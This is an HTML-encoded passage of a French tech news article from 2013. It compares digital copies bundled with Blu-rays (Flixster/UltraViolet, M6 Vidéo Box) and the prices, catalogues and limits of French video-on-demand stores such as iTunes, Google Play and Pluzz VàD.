+&lt;p&gt;Dans le cas du Blu-ray de&amp;nbsp;&lt;em&gt;Gatsby le magnifique&lt;/em&gt;, que nous avons r&amp;eacute;cemment achet&amp;eacute;, il nous est ainsi pr&amp;eacute;cis&amp;eacute; que l'on peut regarder ce film sur ordinateur, tablette ou smartphone. Une &amp;eacute;volution donc par rapport &amp;agrave; la g&amp;eacute;n&amp;eacute;ration pr&amp;eacute;c&amp;eacute;dente. La dur&amp;eacute;e de validit&amp;eacute; du code ? Il expire en septembre 2015. La plateforme existera-t-elle encore &amp;agrave; ce moment-l&amp;agrave; ? Myst&amp;egrave;re et boule de gomme. En lisant les petites lignes, on apprend aussi que l'offre&amp;nbsp;&lt;em&gt;&amp;laquo; ne contient pas de fichiers iTunes mais est compatible avec iPhone, iPad, iPod Touch et la plupart des appareils Apple et Android &amp;raquo;&lt;/em&gt;. De quoi faire plaisir aux adeptes de BlackBerry et Windows Phone qui seront mis de c&amp;ocirc;t&amp;eacute; une fois de plus.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Comme toujours on nous pr&amp;eacute;cise que&amp;nbsp;&lt;em&gt;&amp;laquo; l'utilisateur doit r&amp;eacute;sider en France et avoir plus de 18 ans &amp;raquo;.&amp;nbsp;&lt;/em&gt;Eh oui, les mineurs sont priv&amp;eacute;s du droit de vote, et de copie digitale. Concernant la qualit&amp;eacute; du fichier fourni, on apprend juste qu'il est de&amp;nbsp;&lt;em&gt;&amp;laquo; d&amp;eacute;finition standard 2D. Bonus non inclus. &amp;raquo;&lt;/em&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Dans la pratique, c'est un peu la m&amp;ecirc;me chose que pr&amp;eacute;c&amp;eacute;demment, mais sans l'obligation de disposer d'un lecteur sp&amp;eacute;cifique sur la machine. Une application &lt;a href="https://play.google.com/store/apps/details?id=com.wb.flixster" target="_blank"&gt;Android&lt;/a&gt; et &lt;a href="https://itunes.apple.com/fr/app/flixster-digital-copy/id577993765" target="_blank"&gt;iOS &lt;/a&gt;est propos&amp;eacute;e pour Flixster (&amp;agrave; ne pas confondre avec celle du service US) et une fois votre compte cr&amp;eacute;&amp;eacute; vous devrez taper votre code. Vous pourrez alors t&amp;eacute;l&amp;eacute;charger le film pour une lecture hors ligne ou le lire en streaming. La qualit&amp;eacute; propos&amp;eacute;e ne d&amp;eacute;pendra par contre pas de votre choix mais de votre appareil (smartphone, tablette, etc.).&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Sur ordinateur, tout se passera dans le navigateur ou une application d&amp;eacute;di&amp;eacute;e via la technologie Adobe Air. Ne pensez pas que cela fonctionnera pour autant sous Linux, ce n'est pas le cas, puisque seule une image noire s'affiche plut&amp;ocirc;t que le film esp&amp;eacute;r&amp;eacute;. Dommage.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142345.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-142345.png" alt="Gatsby Flixster" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;span style="font-size: smaller; font-weight: bold;"&gt;Le logo UltraViolet appara&amp;icirc;t alors que le film n'est pas indiqu&amp;eacute; comme tel sur sa jaquette&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;On appr&amp;eacute;ciera aussi que la technologie Air Play d'Apple puisse &amp;ecirc;tre utilis&amp;eacute;e depuis un appareil sous iOS, mais malheureusement uniquement en mode miroir. Il n'existe aussi aucune limite concernant le nombre d'appareils connect&amp;eacute;s ou de lectures possibles, ce qui est un point int&amp;eacute;ressant.&amp;nbsp;Bref, il y a du mieux, mais ce n'est pas encore parfait car l'on constate deux manques :&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Que se passe-t-il si je veux qu'un membre de ma famille ait acc&amp;egrave;s au film achet&amp;eacute; ?&lt;/li&gt;
+&lt;li&gt;Pourquoi est-ce que seuls les films de la Warner sont concern&amp;eacute;s ?&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;Le cas d'une (malheureuse) tentative isol&amp;eacute;e : M6 Vid&amp;eacute;o Box&lt;/h3&gt;
+&lt;p&gt;Ces deux points trouvent une r&amp;eacute;ponse, mais avant d'aller plus loin, attardons nous sur le second. En effet, la Warner n'est pas la seule &amp;agrave; proposer une telle alternative. C'est aussi depuis peu le cas de M6 Vid&amp;eacute;o via M6 Vid&amp;eacute;o Box. Une solution affich&amp;eacute;e sur la bo&amp;icirc;te &amp;agrave; grands renforts de logos iTunes et Play Store, mais ne vous y trompez pas, cela ne vous donne pas le droit &amp;agrave; un t&amp;eacute;l&amp;eacute;chargement sur l'une ou l'autre de ces boutiques. En r&amp;eacute;alit&amp;eacute;, c'est une application que vous devrez t&amp;eacute;l&amp;eacute;charger &lt;a href="https://play.google.com/store/apps/details?id=com.mastery.m6videobox" target="_blank"&gt;par ici&lt;/a&gt; (Android) ou &lt;a href="https://itunes.apple.com/fr/app/m6-video-box/id604238548?mt=8" target="_blank"&gt;par l&amp;agrave;&lt;/a&gt; (iOS).&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142343.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142343.png" alt="M6 Vid&amp;eacute;o Box" /&gt;&lt;/a&gt; &lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142344.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142344.png" alt="M6 Vid&amp;eacute;o Box" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;span style="font-size: smaller; font-weight: bold;"&gt;M6 Vid&amp;eacute;o Box sur iPad et son formulaire d'inscription, ouvrant des droits suppl&amp;eacute;mentaires&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Une fois de plus, un code sera &amp;agrave; y entrer. Vous pourrez choisir de cr&amp;eacute;er un compte ou non, mais contrairement &amp;agrave; ce qui &amp;eacute;tait propos&amp;eacute; par la solution Flixster utilis&amp;eacute;e par la Warner, les limitations sont nombreuses, la date de validit&amp;eacute; &amp;eacute;tant cette fois le 31 mai 2014 dans le cas du film&amp;nbsp;&lt;em&gt;Insaisissables&lt;/em&gt;.&amp;nbsp;En effet, les conditions indiqu&amp;eacute;es sont les suivantes :&amp;nbsp;&lt;em&gt;&amp;laquo; 1 seul t&amp;eacute;l&amp;eacute;chargement sur la p&amp;eacute;riode. Ou bien, enregistrement sur votre compte sur cette m&amp;ecirc;me p&amp;eacute;riode qui vous donne acc&amp;egrave;s &amp;agrave; 4 t&amp;eacute;l&amp;eacute;chargements autoris&amp;eacute;s sur 36 mois &amp;raquo;&lt;/em&gt;. Vous le sentez revenir l'arri&amp;egrave;re-go&amp;ucirc;t du sale DRM de 2009, mais en version mobile ?&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Les d&amp;eacute;fauts de cette initiative montrent une chose : laisser les diff&amp;eacute;rents acteurs tenter leur chance avec des solutions maison pens&amp;eacute;e par une &amp;eacute;quipe marketing qui n'a sans doute pas eu l'occasion de tirer profit des erreurs du pass&amp;eacute; n'est pas une bonne chose. Outre les deux points pr&amp;eacute;c&amp;eacute;dents, il faut donc rajouter un troisi&amp;egrave;me imp&amp;eacute;ratif &amp;agrave; une solution un tant soit peu int&amp;eacute;ressante : qu'elle soit exploit&amp;eacute;e par les diff&amp;eacute;rents studios, d'une mani&amp;egrave;re unifi&amp;eacute;e.&lt;/p&gt;&lt;p&gt;Lorsque vous d&amp;eacute;ballerez vos cadeaux demain, vous aurez, pour certains, droit &amp;agrave; des DVD ou &amp;agrave; des Blu-ray. Et parmi ceux-ci, certains seront peut &amp;ecirc;tre accompagn&amp;eacute;s d'une &amp;laquo; Copie digitale &amp;raquo;. Propos&amp;eacute;e depuis quelques ann&amp;eacute;es, celle-ci prend d&amp;eacute;sormais une nouvelle forme avec l'arriv&amp;eacute;e en France du c&amp;eacute;l&amp;egrave;bre &lt;em&gt;UltraViolet&lt;/em&gt;. L'occasion pour nous de faire le point sur ces syst&amp;egrave;mes et d'&amp;eacute;voquer l'offre de vid&amp;eacute;o &amp;agrave; la demande, toujours aussi tristement &amp;agrave; la ramasse en France.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;No&amp;euml;l et ses films d&amp;eacute;j&amp;agrave; diffus&amp;eacute;s 200 fois par les diff&amp;eacute;rentes cha&amp;icirc;nes de TV. Quoi de pire si ce n'est le programme que l'on nous impose le soir du nouvel an ? C'est aussi la parfaite occasion de compl&amp;eacute;ter la vid&amp;eacute;oth&amp;egrave;que de chacun, gr&amp;acirc;ce aux diff&amp;eacute;rents coffrets cadeau mis en avant dans les boutiques sp&amp;eacute;cialis&amp;eacute;es et les grandes surfaces, parfois &amp;agrave; grand renfort de promotion dans les m&amp;eacute;dias la semaine pr&amp;eacute;c&amp;eacute;dant la date fatidique.&lt;/p&gt;
+&lt;h3&gt;L'offre l&amp;eacute;gale de films et de s&amp;eacute;ries : une blague fran&amp;ccedil;aise depuis pr&amp;egrave;s de cinq ans&lt;/h3&gt;
+&lt;p&gt;Il faut dire que l'on est encore loin du jour o&amp;ugrave; il semblera naturel d'offrir une carte cadeau pour le service de vid&amp;eacute;o &amp;agrave; la demande pr&amp;eacute;f&amp;eacute;r&amp;eacute; du petit dernier, tant l'offre de ces services est encore inadapt&amp;eacute;e en France. Tout d'abord pour des questions de catalogue. En effet, selon les plateformes, il est encore courant de ne pas trouver tel ou tel film d&amp;egrave;s que l'on sort de la liste des derniers blockbusters.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;C'est d'ailleurs un probl&amp;egrave;me qui emp&amp;ecirc;che le d&amp;eacute;veloppement des services de SVoD chez nous, &amp;agrave; la mani&amp;egrave;re de Netflix ou de Canalplay Infinity qui doivent se contenter de contenus qui ont plus de trois ans au sein de leur offre en raison de la chronologie des m&amp;eacute;dias. Autant dire que cela en limite franchement l'int&amp;eacute;r&amp;ecirc;t.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Le pire est sans doute lorsque l'on cherche &amp;agrave; regarder l'int&amp;eacute;grale d'une suite de films qui datent de quelques ann&amp;eacute;es. &amp;Agrave;&amp;nbsp;l'occasion de la sortie du nouveau Star Trek (voir &lt;a href="http://www.pcinpact.com/news/80500-critique-geek-star-trek-into-darkness-vs-man-of-steel-choc-adaptations.htm" target="_blank"&gt;notre critique&lt;/a&gt;), du dernier volet des aventures de Wolverine (X-Men) et de Man of Steel (Superman) cette ann&amp;eacute;e, nous avions tent&amp;eacute; notre chance. Mal nous en a pris.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142300.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142300.png" alt="Star Trek Plateformes de VoD &amp;agrave; la rue" /&gt;&lt;/a&gt; &lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142299.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142299.png" alt="Star Trek Plateformes de VoD &amp;agrave; la rue" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;span style="font-size: smaller; font-weight: bold;"&gt;Vous avez demand&amp;eacute; l'int&amp;eacute;grale de Star Trek ? Ne quittez pas...&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Comme on peut le voir ci-dessus, ni iTunes ni le Play Store de Google ne proposent l'int&amp;eacute;grale des douze films. Il faudra donc piocher chez chacun pour la retrouver. Bien entendu, aucun pack n'est propos&amp;eacute;, et on aura m&amp;ecirc;me la surprise de voir que le Star Trek de 2009 n'est pas disponible &amp;agrave; la location, uniquement &amp;agrave; l'achat :&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Play Store : 7,99 &amp;euro; en SD - 9,99 &amp;euro; en HD&lt;/li&gt;
+&lt;li&gt;iTunes Store : 9,99 &amp;euro; en SD - 11,99 &amp;euro; en HD&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;La version num&amp;eacute;rique : moins compl&amp;egrave;te, moins bonne, plus ch&amp;egrave;re&lt;/h3&gt;
+&lt;p&gt;Si l'int&amp;eacute;grale des dix premiers films n'est plus vraiment disponible en boutique (la mode est d&amp;eacute;j&amp;agrave; pass&amp;eacute;e), on peut reproduire le m&amp;ecirc;me raisonnement avec l'exemple de Superman ou les X-Men. Dans ce dernier cas, il vous en co&amp;ucirc;tera par exemple 23,94 &amp;euro; pour une location en SD&amp;nbsp;&lt;a href="https://play.google.com/store/search?q=xmen&amp;amp;c=movies" target="_blank"&gt;sur le Play Store de Google&lt;/a&gt;, &amp;agrave; l'exception de &lt;em&gt;X-Men : le commencement&lt;/em&gt; que vous devrez obligatoirement acheter, l&amp;agrave; encore.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Pour un achat en HD, ce qui correspond en g&amp;eacute;n&amp;eacute;ral &amp;agrave; du 720p plut&amp;ocirc;t qu'&amp;agrave; une qualit&amp;eacute; digne d'un Blu-Ray &amp;ndash; un comble &amp;agrave; l'heure de la 4K&amp;nbsp;&amp;ndash; ce sera 9,99 &amp;euro; par film et 13,99 &amp;euro; pour le petit dernier, &lt;em&gt;Wolverine : le combat de l'immortel&lt;/em&gt;. Une facture totale de 63,94 &amp;euro; contre &lt;a href="http://pdn.im/1cukg5j" target="_blank"&gt;44,99 &amp;euro; pour les six Blu-ray chez Amazon&lt;/a&gt;, avec l'acc&amp;egrave;s aux diff&amp;eacute;rentes langues et aux bonus, qui sont en g&amp;eacute;n&amp;eacute;ral absent des versions num&amp;eacute;riques.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142303.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-142303.png" alt="Int&amp;eacute;grale X-Men Amazon" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;span style="font-size: smaller; font-weight: bold;"&gt;Vous pouvez rire... ou pleurer&lt;/span&gt;&lt;/p&gt;
+&lt;h3&gt;La derni&amp;egrave;re saison d'une s&amp;eacute;rie &amp;agrave; la mode ? 50 &amp;euro; en SD et en VOST sans bonus&lt;/h3&gt;
+&lt;p&gt;Et les amateurs de s&amp;eacute;ries ? Ils sont log&amp;eacute;s &amp;agrave; la m&amp;ecirc;me enseigne bien que ce ne soit pas toujours aussi grave, et que l'incomp&amp;eacute;tence en la mati&amp;egrave;re soit moins forte... quoi que. En effet, outre les tarifs compl&amp;egrave;tement fous des s&amp;eacute;ries en US+24h que l'on retrouve sur des sites comme MyTF1 VoD (voir &lt;a href="http://www.pcinpact.com/news/84445-le-csa-renouvelle-convention-docs-quel-avenir-pour-bouquet.htm" target="_blank"&gt;notre analyse d'hier&lt;/a&gt;), on se retrouve l&amp;agrave; encore avec un v&amp;eacute;ritable d&amp;eacute;calage entre ce qui est propos&amp;eacute; en num&amp;eacute;rique tant au niveau du contenu que des tarifs, bien qu'il soit ici possible de grappiller quelques euros... au prix de quelques sacrifices honteux.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142276.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-142276.png" alt="MyTF1 VoD Location VOST US+24" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Il vous en co&amp;ucirc;tera par exemple 24,99 &amp;euro; pour la premi&amp;egrave;re saison de Tunnel en HD (720p en t&amp;eacute;l&amp;eacute;chargement, 1080p sinon) sur iTunes. 19,99 &amp;euro; en SD. Il faudra par contre choisir entre VF et VOST, impossible d'avoir les deux pour ce tarif et de choisir &amp;agrave; la lecture. Assez ironiquement, on notera d'ailleurs qu'elle est absente de CanalPlay VOD alors qu'il s'agit d'une production originale de Canal+. En DVD, il vous en co&amp;ucirc;tera 24,99 &amp;euro; avec le making-of et les diff&amp;eacute;rentes langues. Ne cherchez pas le Blu-ray, il n'est pas encore propos&amp;eacute;, un point courant dans le domaine des s&amp;eacute;ries TV m&amp;ecirc;me en 2013.&lt;/p&gt;
+&lt;h3&gt;L'int&amp;eacute;grale d'une s&amp;eacute;rie sera aussi plus ch&amp;egrave;re, et moins int&amp;eacute;ressante en num&amp;eacute;rique&lt;/h3&gt;
+&lt;p&gt;Si l'on regarde du c&amp;ocirc;t&amp;eacute; d'une production am&amp;eacute;ricaine &amp;agrave; succ&amp;egrave;s, d&amp;eacute;j&amp;agrave; termin&amp;eacute;e, comme Breaking bad que se passe-t-il ? L'int&amp;eacute;grale est propos&amp;eacute;e &lt;a href="http://pdn.im/19JVFqO" target="_blank"&gt;&amp;agrave; 79,99 &amp;euro; en DVD et &amp;agrave; 84,99 &amp;euro; en Blu-ray cette fois&lt;/a&gt;. Soit une moyenne de 16 &amp;agrave; 17 &amp;euro; par saison. Nous n'irons pas regarder du c&amp;ocirc;t&amp;eacute; du Play Store de Google puisque celui-ci est d&amp;eacute;j&amp;agrave; parfois incomplet sur les films, mais sur les s&amp;eacute;ries, il est carr&amp;eacute;ment &amp;agrave; la rue puisqu'il ne propose... rien. &lt;a href="https://play.google.com/store/search?q=Breaking%20Bad&amp;amp;c=movies" target="_blank"&gt;Rechercher cette s&amp;eacute;rie&lt;/a&gt; vous m&amp;egrave;nera ainsi &amp;agrave; &lt;em&gt;Madagascar 3&lt;/em&gt;, &lt;em&gt;John Carter&lt;/em&gt; ou &lt;em&gt;Argo&lt;/em&gt;, un comble pour un sp&amp;eacute;cialiste de la recherche.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142308.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142308.png" alt="Breaking Bad Int&amp;eacute;grale Num&amp;eacute;rique &amp;agrave; la rue" /&gt;&lt;/a&gt; &lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142307.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142307.png" alt="Breaking Bad Int&amp;eacute;grale Num&amp;eacute;rique &amp;agrave; la rue" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;span style="font-size: smaller; font-weight: bold;"&gt;Breaking Bad : inconnu chez Google, v&amp;eacute;ritable foutoir surfactur&amp;eacute; chez Apple&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Quoi qu'il en soit, si l'on retourne du c&amp;ocirc;t&amp;eacute; d'iTunes on retrouve le probl&amp;egrave;me pr&amp;eacute;c&amp;eacute;dent : un choix obligatoire entre VOST ou VF, une d&amp;eacute;finition au maximum en 720p en t&amp;eacute;l&amp;eacute;chargement et un tarif qui se d&amp;eacute;coupe ainsi selon nos relev&amp;eacute;s de ce matin :&amp;nbsp;&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Saison 1 : 9,99 &amp;euro;&lt;/li&gt;
+&lt;li&gt;Saison 2 : 16,99 &amp;euro;&lt;/li&gt;
+&lt;li&gt;Saison 3 : 21,99 &amp;euro; (&amp;eacute;dition Deluxe obligatoire)&lt;/li&gt;
+&lt;li&gt;Saison 4 : 29,99 &amp;euro;&amp;nbsp;(&amp;eacute;dition Deluxe obligatoire)&lt;/li&gt;
+&lt;li&gt;Saison 5 : 17,99 &amp;euro; (&amp;eacute;dition Deluxe)&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p&gt;Comme on peut le voir, on se retrouve l&amp;agrave; encore avec le contenu le plus r&amp;eacute;cent qui n'est pas forc&amp;eacute;ment parmi les plus chers, et aucune proposition d'int&amp;eacute;grale. Au total, il nous en co&amp;ucirc;tera ainsi dans le meilleur des cas 96,95 &amp;euro;, soit l&amp;agrave; encore plus chers que les versions physiques pour un contenu moins complet et de moins bonne qualit&amp;eacute; technique. Il y a d'ailleurs un autre aspect n&amp;eacute;gatif qu'il ne faut pas oublier : la question de la compatibilit&amp;eacute;.&lt;/p&gt;
+&lt;h3&gt;Le num&amp;eacute;rique, une r&amp;eacute;volution ? Surtout la fin de nombreuses possibilit&amp;eacute;s&lt;/h3&gt;
+&lt;p&gt;Avec l'&amp;eacute;mergence des diff&amp;eacute;rentes plateformes, nous avons surtout sign&amp;eacute; la mort quasi totale de l'interop&amp;eacute;rabilit&amp;eacute;, malgr&amp;eacute; les tarifs &amp;eacute;lev&amp;eacute;s. Achet&amp;eacute;e avec la plateforme Apple, notre s&amp;eacute;rie ou nos films ne peuvent &amp;ecirc;tre lus que depuis un appareil Apple. Ce n'&amp;eacute;tait pas le cas d'un DVD ou d'un Blu-ray. On peut bien entendu se tourner vers d'autres boutiques, mais la plupart ne sont pas propos&amp;eacute;es sur tablette afin de s'&amp;eacute;viter la fameuse taxe des 30 % des plateformes. L'achat sur ordinateur ou sur une box sera donc assez simple, mais comment en profiter ensuite en mobilit&amp;eacute;, hors-ligne, etc. ?&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Si le manque d'acc&amp;egrave;s multi-&amp;eacute;crans n'est pas g&amp;ecirc;nant pour une location, il en est tout autrement pour des achats de 10 &amp;agrave; 30 &amp;euro;, dont on ne peut finalement pas disposer comme bon nous semble. Sans parler de l'impossibilit&amp;eacute; de sauvegarder ses films, afin de s'assurer un acc&amp;egrave;s permanent si la plateforme venait &amp;agrave; fermer par exemple.&lt;/p&gt;
+&lt;h3&gt;Pluzz V&amp;agrave;D et Doctor Who : quand France TV d&amp;eacute;raille, malgr&amp;eacute; de bonnes id&amp;eacute;es&lt;/h3&gt;
+&lt;p&gt;C'est l'un des points noir d'un cas l&amp;agrave; encore sp&amp;eacute;cifique &amp;agrave; la France, &lt;a href="http://pluzzvad.francetv.fr/" target="_blank"&gt;Pluzz V&amp;agrave;D&lt;/a&gt; de France T&amp;eacute;l&amp;eacute;visions, qui a pourtant de nombreux avantages. Les tarifs pratiqu&amp;eacute;s sont corrects, le catalogue contient des s&amp;eacute;ries que l'on ne trouve pas toujours ailleurs... c'est notamment le cas de &lt;em&gt;Doctor Who&lt;/em&gt; qui est &amp;agrave; un tarif relativement exorbitant dans iTunes bien qu'il y soit la s&amp;eacute;rie la plus t&amp;eacute;l&amp;eacute;charg&amp;eacute;e chez nous en 2013 selon le classement d'Apple, juste avant &lt;em&gt;Almost Human&lt;/em&gt; et &lt;em&gt;How I Met Your Mother&lt;/em&gt; :&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142311.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-142311.png" alt="Doctor Who iTunes" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;span style="font-size: smaller; font-weight: bold;"&gt;Doctor Who sur iTunes : plus de 20 &amp;euro; la saison&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Comme vous pouvez le voir ci-dessus, chez Apple ce sera 22,99 &amp;euro; la saison dans le meilleur des cas. D&amp;egrave;s la saison 5, cela se g&amp;acirc;te avec un passage &amp;agrave; 32,99 &amp;euro;. Les saisons 6 et 7 sont pour leur part propos&amp;eacute;es en deux parties : 18,99 &amp;euro;, 16,99 &amp;euro;, 13,99 &amp;euro; et 21,99 &amp;euro;. L'&amp;eacute;pisode sp&amp;eacute;cial de cette ann&amp;eacute;e, &lt;em&gt;Le jour du Docteur&lt;/em&gt;, est bien entendu vendu &amp;agrave; part : 6,99 &amp;euro;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Cette s&amp;eacute;rie est un bon exemple puisque malgr&amp;eacute; son succ&amp;egrave;s, elle est assez mal distribu&amp;eacute;e en France. La faute sans doute &amp;agrave; France TV Distribution qui assume cette t&amp;acirc;che et qui ne propose quasiment aucun Blu-ray (seule la saison 5 est propos&amp;eacute;e ainsi) ni aucune int&amp;eacute;grale chez nous. Vous devrez en g&amp;eacute;n&amp;eacute;ral vous contenter d'un pack de DVD unique pour chaque saison, l&amp;agrave; encore vendu moins chers que la version num&amp;eacute;rique. La Fnac semble d'ailleurs avoir quelques avantages avec l'acc&amp;egrave;s &amp;agrave; des versions sp&amp;eacute;cifiques propos&amp;eacute;es &lt;a href="http://pdn.im/JmWk6P" target="_blank"&gt;&amp;agrave; 20 &amp;euro; la saison&lt;/a&gt; alors que le coffret de la saison 7 s'affiche actuellement &amp;agrave; &lt;a href="http://pdn.im/JmWk6P" target="_blank"&gt;un peu moins de 25 &amp;euro;&lt;/a&gt;. Un total de 145 &amp;euro; pour les 7 saisons, bien loin de ce que propose iTunes.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Mais sur Pluzz V&amp;agrave;D, l'int&amp;eacute;gralit&amp;eacute; de la saison 7 (soit 16 &amp;eacute;pisodes) sera propos&amp;eacute; pour seulement 8,99 &amp;euro;, &lt;em&gt;Le jour du Docteur&lt;/em&gt; inclus. Chacun sera d'ailleurs vendu (et non lou&amp;eacute;) pour seulement 1,99 &amp;euro;. Un tarif sp&amp;eacute;cial qui est l&amp;agrave; encore parfois plus important pour les saisons pr&amp;eacute;c&amp;eacute;dentes qui sont propos&amp;eacute;es entre 12,99 et 18,99 &amp;euro;. Malheureusement, la lecture se fera uniquement sur un ordinateur sous OS X ou Windows, en basse d&amp;eacute;finition. On appr&amp;eacute;ciera n&amp;eacute;anmoins d'avoir la VF ainsi que la VOST. Le service est par contre toujours indisponible sur tablette et ne propose quasiment aucun partenariat hormis avec Numericable. Autant dire que l'attractivit&amp;eacute; du prix est vite compens&amp;eacute;e par le manque d'int&amp;eacute;r&amp;ecirc;t de l'aspect pratique.&lt;/p&gt;
+&lt;h3&gt;Google Play Films : une bonne alternative, multi-plateformes mais imparfaite&lt;/h3&gt;
+&lt;p&gt;Finalement, dans toutes nos recherches, c'est l'offre de Google qui s'est trouv&amp;eacute;e &amp;ecirc;tre la plus int&amp;eacute;ressante d'un point de vue pratique, notamment gr&amp;acirc;ce &amp;agrave; un point : YouTube et ses applications. En effet, tout titre achet&amp;eacute; avec votre compte Google sur le Play Store peut &amp;ecirc;tre lu depuis une application YouTube officielle sur n'importe quelle plateforme ou presque. Petit plus int&amp;eacute;ressant, la diffusion sans fil est disponible sous Android et iOS pour peu que vous ayez &lt;a href="http://pdn.im/JmXi36" target="_blank"&gt;un Chromecast&lt;/a&gt; &amp;agrave; votre disposition.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&amp;nbsp;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142320.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-142320.png" alt="YouTube Film iOS" width="450" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;span style="font-size: smaller; font-weight: bold;"&gt;&lt;em&gt;Le Hobbit : un voyage inatendu&lt;/em&gt;, un film pay&amp;eacute; 9,99 &amp;euro; en VF pour la version HD d&amp;eacute;but d&amp;eacute;cembre&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Si les tarifs pratiqu&amp;eacute;s par le g&amp;eacute;ant du web sont parfois int&amp;eacute;ressants lorsqu'il y a des promotions sp&amp;eacute;cifiques, c'est loin d'&amp;ecirc;tre toujours le cas comme nous l'avons vu pr&amp;eacute;c&amp;eacute;demment. Un souci renforc&amp;eacute; par son catalogue assez largement incomplet. C'est n&amp;eacute;anmoins actuellement la meilleure alternative si vous cherchez une fa&amp;ccedil;on d'acheter un film et de la regarder depuis n'importe quelle plateforme ou presque (OS X, Windows, Android, iOS, etc.), mais pas Linux selon nos essais.&lt;/p&gt;
+&lt;h3&gt;Dailymotion aussi propose de la location de films et de s&amp;eacute;ries&lt;/h3&gt;
